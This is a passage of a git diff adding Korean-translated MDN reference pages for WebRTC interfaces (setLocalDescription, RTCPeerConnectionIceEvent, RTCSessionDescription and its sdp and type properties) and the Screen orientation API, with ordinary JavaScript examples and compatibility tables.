+<p><code>sessionDescription</code> 매개 변수는 일단 기술적으로는 <code>RTCSessionDescriptionInit</code>의 타입입니다. 하지만, {{domxref("RTCSessionDescription")}}가 <code>RTCSessionDescriptionInit</code>와 구별이 불가능하도록 직렬화 (serialize)하기 때문에, <code>RTCSessionDescription</code>를 전달 할 수도 있습니다. 이 말은 코드가 다음과 같이 간단해질 수 있다는 뜻입니다:</p>
+
+<pre class="brush: js notranslate">myPeerConnection.createOffer().then(function(offer) {
+  return myPeerConnection.setLocalDescription(new RTCSessionDescription(offer));
+});
+</pre>
+
+<p>위 코드를 아래와 같이 간단하게 사용이 가능해집니다:</p>
+
+<pre class="brush: js notranslate">myPeerConnection.createOffer().then(myPeerConnection.setLocalDescription);</pre>
+
+<p>이러한 이유로, {{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} 생성자는 더 이상 사용되지 않습니다.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCPeerConnection.localDescription")}}의 값이 성공적으로 바뀌거나 혹은 변환이 불가능한 경우 거절되면 fulfill 되는 {{jsxref("Promise")}}입니다. 거절되는 예로는 명시한 설명이 연결에 존재하는 하나 혹은 양쪽 모두의 피어들과 호환이 불가능하면 발생하기도 합니다. 참고로 프로미스의 fulfillment 핸들러는 입력 매개 변수를 받지 않습니다.</p>
+
+<div class="note">
+<p>설명을 바꾸는 과정은 변경이 실패해도 연결 상태를 잃지 않게 보장하도록 WebRTC 레이어에 의해서 처리되는 중간 단계를 거칩니다. 이 과정에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.</p>
+</div>
+
+<h3 id="지원이_중단된_매개_변수">지원이 중단된 매개 변수</h3>
+
+<p>이전 버전의 문서에서는 콜백 기반의 함수를 찾을 수 있습니다. 콜백 함수는 지원이 중단되었고, 추후에 삭제 될 예정이기 때문에 <strong>사용하지 않도록 강력히 권장</strong>하고 있습니다. 이미 콜백 함수를 사용 중이라면, {{jsxref("Promise")}} 기반인 <code>setLocalDescription()</code>를 대신 사용하도록 업데이트 해야합니다. 기존 코드 업데이트에 도움을 주기 위해, 아래에서는 이전 버전의 <code>setLocalDescription()</code>에 대한 매개 변수를 설명합니다.</p>
+
+<dl>
+ <dt><code>successCallback</code> {{deprecated_inline}}</dt>
+ <dd>설명 값이 성공적으로 설정되면 입력 매개 변수 없이 호출되는 자바스크립트 {{jsxref("Function")}}입니다. 여기서, offer가 시그널링 서버를 통해서 원격 유저에게 전송 될 수 있습니다.</dd>
+ <dt><code>errorCallback</code> {{deprecated_inline}}</dt>
+ <dd>설명 값이 설정이 불가능할 때에 호출되어 <code>RTCPeerConnectionErrorCallback</code> 서명을 확인하는 함수입니다. 여기에는 요청이 왜 실패했는지를 설명하는 {{domxref("DOMException")}} 객체를 전달합니다.</dd>
+</dl>
+
+<p>지원이 중단된 위의 메소드는 실제 설정이 바뀌기 전에 바로 반환합니다. 성공하면 <code>successCallback</code>가 호출되고, 실패하면 <code>errorCallback</code>가 호출됩니다.</p>
+
+<h3 id="지원이_중단된_예외처리">지원이 중단된 예외처리</h3>
+
+<p>지원이 중단된 콜백버전의 <code>setLocalDescription()</code>를 사용하게되면 아래와 같은 예외들이 발 생 할 수도 있습니다:</p>
+
+<dl>
+ <dt><code>InvalidStateError</code> {{deprecated_inline}}</dt>
+ <dd>연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"closed"</code> 상태고, 이는 연결이 현재 열린 상태가 아니여서 협상이 발생할 수 없다는 뜻입니다.</dd>
+ <dt><code>InvalidSessionDescriptionError</code> {{deprecated_inline}}</dt>
+ <dd><code>sessionDescription</code>에 의해 명시된 {{domxref("RTCSessionDescription")}} 매개 변수가 유효하지 않음을 알려줍니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시에서는, {{event("negotiationneeded")}} 이벤트에 대한 핸들러를 구현하였습니다:</p>
+
+<pre class="brush: js notranslate">function handleNegotiationNeededEvent() {
+  pc.createOffer().then(function(offer) {
+    return pc.setLocalDescription(offer);
+  })
+  .then(function() {
+    // Send the offer to the remote peer using the signaling server
+  })
+  .catch(reportError);
+}</pre>
+
+<p>이 함수는 {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}를 호출하여 offer를 생성하면서 시작됩니다. 이 과정이 성공하면, <code>setLocalDescription()</code>를 호출합니다. 프로미스에 대한 fulfillment 핸들러는 시그널링 서버를 사용해서 다른 유저에게 신규 생성된 offer를 전송할 수 있게 됩니다.</p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-void-RTCSessionDescription-description-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback', 'RTCPeerConnection.setLocalDescription()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-Promise-void--RTCSessionDescriptionInit-description', 'RTCPeerConnection.setLocalDescription()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.setLocalDescription")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html
new file mode 100644
index 0000000000..2c9c19afa2
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html
@@ -0,0 +1,56 @@
+---
+title: RTCPeerConnectionIceEvent.candidate
+slug: Web/API/RTCPeerConnectionIceEvent/candidate
+translation_of: Web/API/RTCPeerConnectionIceEvent/candidate
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnectionIceEvent")}} 인터페이스의 candidate 속성은 읽기 전용입니다. 이 속성은 {{domxref("RTCIceCandidate")}}와 관련된 이벤트를 반환합니다.   </span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>candidate</em> = <em>event</em>.candidate;</pre>
+
+<h3 id="값">값</h3>
+
+<p>ICE candidate를 나타내는 {{domxref("RTCIceCandidate")}} 객체. 해당 네고시에이션 세션에 대한 candidate가 더 이상 존재하지 않으면, <code>null</code>을 반환합니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.onicecandidate = function( ev ) {
+  alert("The ICE candidate (transport address: '" +
+    ev.candidate.candidate +
+    "') has been added to this connection.");
+}</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnectioniceevent-candidate', 'RTCPeerConnectionIceEvent.candidate') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnectionIceEvent.candidate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("icecandidate")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/index.html
new file mode 100644
index 0000000000..089c81246d
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnectioniceevent/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnectionIceEvent
+slug: Web/API/RTCPeerConnectionIceEvent
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - RTCIceCandidateEvent
+  - Reference
+  - TopicStub
+  - WebRTC
+translation_of: Web/API/RTCPeerConnectionIceEvent
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary">The <strong><code>RTCPeerConnectionIceEvent</code></strong> interface represents events that occurs in relation to {{Glossary("ICE")}} candidates with the target, usually an {{domxref("RTCPeerConnection")}}.</span> Only one event is of this type: {{event("icecandidate")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these properties</em>.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnectionIceEvent.candidate")}} {{readOnlyInline}}</dt>
+ <dd>Contains the {{domxref("RTCIceCandidate")}} containing the candidate associated with the event, or <code>null</code> if this event indicates that there are no further candidates to come.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnectionIceEvent.RTCPeerConnectionIceEvent()", "RTCPeerConnectionIceEvent()")}}</dt>
+ <dd>Returns a new <code>RTCPeerConnectionIceEvent</code>. It takes two parameters, the first being a {{domxref("DOMString")}} representing the type of the event; the second a dictionary containing the {{domxref("RTCIceCandidate")}} it refers to.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these properties</em>.  <em>There is no specific <em>{{domxref("RTCDataChannelEvent")}}</em> method.</em></p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">pc.onicecandidate = function( ev ) {
+  alert("The ICE candidate (transport address: '" +
+    ev.candidate.candidate +
+    "') has been added to this connection.");
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#rtcpeerconnectioniceevent', 'RTCPeerConnectionIceEvent') }}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnectionIceEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>Its usual target: {{domxref("RTCPeerConnection")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcsessiondescription/index.html b/files/ko/web/api/rtcsessiondescription/index.html
new file mode 100644
index 0000000000..927204c7da
--- /dev/null
+++ b/files/ko/web/api/rtcsessiondescription/index.html
@@ -0,0 +1,129 @@
+---
+title: RTCSessionDescription
+slug: Web/API/RTCSessionDescription
+tags:
+  - API
+  - Audio
+  - Experimental
+  - Interface
+  - Media
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Video
+  - Web
+  - WebRTC
+translation_of: Web/API/RTCSessionDescription
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>RTCSessionDescription</code></strong> interface describes one end of a connection—or potential connection—and how it's configured. Each <code>RTCSessionDescription</code> consists of a description {{domxref("RTCSessionDescription.type", "type")}} indicating which part of the offer/answer negotiation process it describes and of the {{Glossary("SDP")}} descriptor of the session.</p>
+
+<p>The process of negotiating a connection between two peers involves exchanging <code>RTCSessionDescription</code> objects back and forth, with each description suggesting one combination of connection configuration options that the sender of the description supports. Once the two peers agree upon a configuration for the connection, negotiation is complete.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>RTCSessionDescription</code> interface doesn't inherit any properties.</em></p>
+
+<dl>
+	<dt>{{domxref("RTCSessionDescription.type")}} {{ReadOnlyInline}}</dt>
+	<dd>An enum of type <code>{{anch("RTCSdpType")}}</code> describing the session description's type.</dd>
+</dl>
+
+<dl>
+	<dt>{{domxref("RTCSessionDescription.sdp")}} {{ReadOnlyInline}}</dt>
+	<dd>A {{domxref("DOMString")}} containing the {{Glossary("SDP")}} describing the session.</dd>
+</dl>
+
+<h2 id="Constants">Constants</h2>
+
+<h3 id="RTCSdpType">RTCSdpType</h3>
+
+<p>This enum defines strings that describe the current state of the session description, as used in the {{domxref("RTCSessionDescription.type", "type")}} property. The session description's type will be specified using one of these values.</p>
+
+<table class="standard-table">
+	<thead>
+		<tr>
+			<th scope="col">Value</th>
+			<th scope="col">Description</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr>
+			<td><code>answer</code></td>
+			<td>The SDP contained in the {{domxref("RTCSessionDescription.sdp", "sdp")}} property is the definitive choice in the exchange. In other words, this session description describes the agreed-upon configuration, and is being sent to finalize negotiation.</td>
+		</tr>
+		<tr>
+			<td><code>offer</code></td>
+			<td>The session description object describes the initial proposal in an offer/answer exchange. The session negotiation process begins with an offer being sent from the caller to the callee.</td>
+		</tr>
+		<tr>
+			<td><code>pranswer</code></td>
+			<td>The session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. It is usually employed by legacy hardware.</td>
+		</tr>
+		<tr>
+			<td><code>rollback</code></td>
+			<td>This special type with an empty session description is used to roll back to the previous stable state.</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>RTCSessionDescription</code> doesn't inherit any methods.</em></p>
+
+<dl>
+	<dt>{{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} {{deprecated_inline}}</dt>
+	<dd>This constructor returns a new <code>RTCSessionDescription</code>. The parameter is a <code>RTCSessionDescriptionInit</code> dictionary containing the values to assign the two properties.</dd>
+	<dt>{{domxref("RTCSessionDescription.toJSON()")}}</dt>
+	<dd>Returns a {{Glossary("JSON")}} description of the object. The values of both properties, {{domxref("RTCSessionDescription.type", "type")}} and {{domxref("RTCSessionDescription.sdp", "sdp")}}, are contained in the generated JSON.</dd>
+</dl>
+
+<h2 id="Example">Example<span id="cke_bm_72C" style="display: none;"> </span></h2>
+
+<pre class="brush: js">signalingChannel.onmessage = function (evt) {
+    if (!pc)
+        start(false);
+
+    var message = JSON.parse(evt.data);
+    if (message.sdp)
+        pc.setRemoteDescription(new RTCSessionDescription(message), function () {
+            // if we received an offer, we need to answer
+            if (pc.remoteDescription.type == "offer")
+                pc.createAnswer(localDescCreated, logError);
+        }, logError);
+    else
+        pc.addIceCandidate(new RTCIceCandidate(message.candidate),
+            function () {}, logError);
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{ SpecName('WebRTC 1.0', '#rtcsessiondescription-class', 'RTCSessionDescription') }}</td>
+			<td>{{Spec2('WebRTC 1.0')}}</td>
+			<td>Initial definition.</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCSessionDescription")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+	<li>{{domxref("RTCPeerConnection.setLocalDescription()")}} and {{domxref("RTCPeerConnection.setRemoteDescription()")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcsessiondescription/sdp/index.html b/files/ko/web/api/rtcsessiondescription/sdp/index.html
new file mode 100644
index 0000000000..d0ed1ab2f6
--- /dev/null
+++ b/files/ko/web/api/rtcsessiondescription/sdp/index.html
@@ -0,0 +1,69 @@
+---
+title: RTCSessionDescription.sdp
+slug: Web/API/RTCSessionDescription/sdp
+translation_of: Web/API/RTCSessionDescription/sdp
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <strong><code>RTCSessionDescription.sdp</code></strong> 는 세션에 대해 설명해주는 {{Glossary("SDP")}}를 가지고 있는 {{domxref("DOMString")}}입니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>value</em> = <em>sessionDescription</em>.sdp;
+<em>sessionDescription</em>.sdp = value;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>아래와 같이 SDP 메세지를 포함하고 있는 {{domxref("DOMString")}}값 입니다. </p>
+
+<pre> v=0
+ o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
+ s=
+ c=IN IP4 host.anywhere.com
+ t=0 0
+ m=audio 49170 RTP/AVP 0
+ a=rtpmap:0 PCMU/8000
+ m=video 51372 RTP/AVP 31
+ a=rtpmap:31 H261/90000
+ m=video 53000 RTP/AVP 32
+ a=rtpmap:32 MPV/90000</pre>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">// The remote description has been set previously on pc, an RTCPeerConnection
+
+alert(pc.remoteDescription.sdp);
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-sdp', 'RTCSessionDescription.sdp') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCSessionDescription.sdp")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>The standard for using SDP in an offer/answer protocol {{rfc("3264")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcsessiondescription/type/index.html b/files/ko/web/api/rtcsessiondescription/type/index.html
new file mode 100644
index 0000000000..d898fac57e
--- /dev/null
+++ b/files/ko/web/api/rtcsessiondescription/type/index.html
@@ -0,0 +1,65 @@
+---
+title: RTCSessionDescription.type
+slug: Web/API/RTCSessionDescription/type
+translation_of: Web/API/RTCSessionDescription/type
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 전용 값인 <strong><code>RTCSessionDescription.type</code></strong>은 세션 설명의 타입을 알려주는 <code>RTCSdpType</code>타입의 값입니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>value</em> = <em>sessionDescription</em>.type;
+<em>sessionDescription</em>.type = value;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>RTCSdpType</code> 타입의 열거체에 사용 가능한 값들이 정의되어 있습니다.</p>
+
+<p>아래는 사용 가능한 값들입니다:</p>
+
+<ul>
+ <li><code>"offer"</code>, offer 혹은 answer 교환 과정에서 처음으로 제안된 세션 설명입니다.</li>
+ <li><code>"answer"</code>, offer 혹은 answer 교환 과정에서 채택한 세션 설명입니다.</li>
+ <li><code>"pranswer"</code>, 임시로 지정한 answer 입니다. 이 세션 설명 값은 채택한 값이 존재하면 변할 수도 있습니다.</li>
+ <li>"<code>rollback</code>", 가장 최근의 안정적인 상태의 offer 혹은 answer 상태로 되돌아가라는 세션 설명입니다.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">// The remote description has been set previously on pc, a RTCPeerconnection
+
+alert(pc.remoteDescription.type);
+</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-type', 'RTCSessionDescription.type') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCSessionDescription.type")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/screen.onorientationchange/index.html b/files/ko/web/api/screen.onorientationchange/index.html
new file mode 100644
index 0000000000..dc1a76013f
--- /dev/null
+++ b/files/ko/web/api/screen.onorientationchange/index.html
@@ -0,0 +1,85 @@
+---
+title: window.screen.onorientationchange
+slug: Web/API/Screen.onorientationchange
+translation_of: Web/API/Screen/onorientationchange
+---
+<p>{{ ApiRef() }}</p>
+<p>{{SeeCompatTable}}</p>
+<h2 id="Summary" name="Summary">Summary</h2>
+<p>{{ event("orientationchange")}} 이벤트를 화면 객체로 보내는 이벤트 핸들러이다.</p>
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+<pre>screen.onorientationchange = <em>funcRef</em>;
+</pre>
+<p><code>funcRef</code> 는 함수로의 참조 이다.</p>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Screen Orientation')}}</td>
+   <td>{{Spec2('Screen Orientation')}}</td>
+   <td>Draft specification.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Notes" name="Notes">Gecko notes</h3>
+<p>이 API 는 현재 초안형태이다. 오직 B2G 와 안드로이드용 Firefox 에서 prefixed method (<code>onmozorientationchange</code>) 형태로만 구현된다.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{ event("orientationchange") }}</li>
+ <li><a href="/ko/docs/Managing_screen_orientation" title="/ko/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/screen/index.html b/files/ko/web/api/screen/index.html
new file mode 100644
index 0000000000..74772f16d3
--- /dev/null
+++ b/files/ko/web/api/screen/index.html
@@ -0,0 +1,76 @@
+---
+title: Screen
+slug: Web/API/Screen
+tags:
+  - API
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>The <code>Screen</code> interface represents a screen, usually the one on which the current window is being rendered.</p>
+
+<p>Usually it is the one on which the current window is being rendered, obtained using <code>window.screen</code>.</p>
+
+<h2 id="Example" name="Example">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Returns the first available pixel available from the left side of the screen.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.</dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Returns the amount of horizontal space in pixels available to the window.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Returns the color depth of the screen.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Returns the height of the screen in pixels.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Returns the distance in pixels from the left side of the main screen to the left side of the current screen.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Returns the current orientation of the screen.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Gets the bit depth of the screen.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Returns the distance in pixels from the top side of the current screen.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Returns the width of the screen.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Boolean. Setting to false will turn off the device's screen.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.</dd>
+</dl>
+
+<h3 id="Events_handler">Events handler</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>A handler for the {{event("orientationchange")}} events.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Lock the screen orientation (only works in fullscreen or for installed apps)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Unlock the screen orientation (only works in fullscreen or for installed apps)</dd>
+</dl>
+
+<p>Methods inherit from {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+  // use low-color version of page
+} else {
+  // use regular, colorful page
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>CSSOM View</p>
diff --git a/files/ko/web/api/screen/lockorientation/index.html b/files/ko/web/api/screen/lockorientation/index.html
new file mode 100644
index 0000000000..856bfb5010
--- /dev/null
+++ b/files/ko/web/api/screen/lockorientation/index.html
@@ -0,0 +1,92 @@
+---
+title: Screen.lockOrientation
+slug: Web/API/Screen/lockOrientation
+translation_of: Web/API/Screen/lockOrientation
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<div>{{Deprecated_header}}</div>
+
+<p><code>lockOrientation</code> 함수는 지정된 방향으로 화면을 고정시킨다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 함수는 오직 설치된 웹앱 또는 <a href="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode" title="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode">full-screen mode</a> 의 웹페이지에서만 동작한다..</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var locked = window.screen.lockOrientation(<em>orientation</em>);
+</pre>
+
+<h3 id="Example" name="Example">Parameters</h3>
+
+<dl>
+ <dt><em>orientation</em></dt>
+ <dd>화면을 고정 시킬 방향. 문자열 또는 문자열의 배열이다. 여러 문자열을 지정하면 지정한 방향으로만 회전된다.</dd>
+</dl>
+
+<p>다음의 문자열들은 당신이 지정할 수 있는 방향들을 나타낸다.</p>
+
+<dl>
+ <dt><code>portrait-primary</code></dt>
+ <dd>기본 세로 모드 일 때 화면의 방향을 나타낸다. 화면은 화면이 정상위치 (normal position)가 세로이고 세로로 고정 되어 있으면 기본 세로 모드 (primary portrait mode) 로 간주 된다. 만약 장치의 정상위치 (normal position)가 가로 모드 이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</dd>
+ <dt><code>portrait-secondary</code></dt>
+ <dd>보조 세로 모드 일 때 화면의 방향을 나타낸다.  화면은 정상위치에서 180<span style="line-height: inherit;">° 로 고정 되어 있을 때 </span><span style="line-height: inherit;">보조 세로 모드로 간주된다. 만약 정상위치가 가로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</span></dd>
+ <dt><code>landscape-primary</code></dt>
